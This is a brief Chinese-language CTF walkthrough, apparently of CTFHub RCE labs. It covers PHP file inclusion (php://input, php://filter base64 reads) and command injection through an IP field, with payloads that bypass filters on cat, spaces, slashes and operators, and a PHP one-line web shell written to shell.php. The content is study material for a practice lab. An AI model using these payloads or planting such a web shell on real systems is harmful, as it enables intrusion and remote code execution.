1.eval执行
代码显示将命令赋值给cmd然后执行
找到flag
查看即可
2.文件包含
3. php:/ /input
说明可以使用php:/ /input构造发送指令
方法:POST
目标:/?file=php:/ /input
4.远程包含
5.读取源代码
发现无法传指令
但是这里直接告诉了flag所在位置,考虑使用php伪协议中的filter协议直接提取出flag的内容
构造payload
?file=php://filter/read=convert.base64-encode/resource=/flag
base64解码得到flag
6.命令注入
127.0.0.1&ls
127.0.0.1&cat 514245044536.php
右键查看源代码即可得到flag
7.过滤cat
方法一:
payload:127.0.0.1&ca\t flag_86183171127170.php
方法二:
payload:127.0.0.1&echo -e "<?php @eval($_POST['123']);?>" > shell.php
蚁剑连接即可
8.过滤空格
在 bash 下, 可以用以下字符代替空格:
<,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS
127.0.0.1&cat<flag_32003553727750.php
9.过滤目录分隔符
由于过滤了/ 因此要先切换到相应目录
127.0.0.1&cd flag_is_here;ls
127.0.0.1&cd flag_is_here;cat flag_28684382732694.php
10.过滤运算符
过滤了|和&
将&替换为;即可
127.0.0.1;cat flag_39891165193.php
11.综合过滤练习
过滤了| & ; 空格 / cat flag ctfhub
但没有过滤%0a %0d
%0a为换行符 %0d为回车符
发现有一个flag_is_here文件夹
打开该文件夹并查看目录
用${IFS}代替空格
?ip=127.0.0.1%0acd${IFS}fl\ag_is_here%0als#
cat查看该php文件
?ip=127.0.0.1%0acd${IFS}fl\ag_is_here%0aca\t${IFS}fl\ag_102401714427205.php#
查看源代码得到flag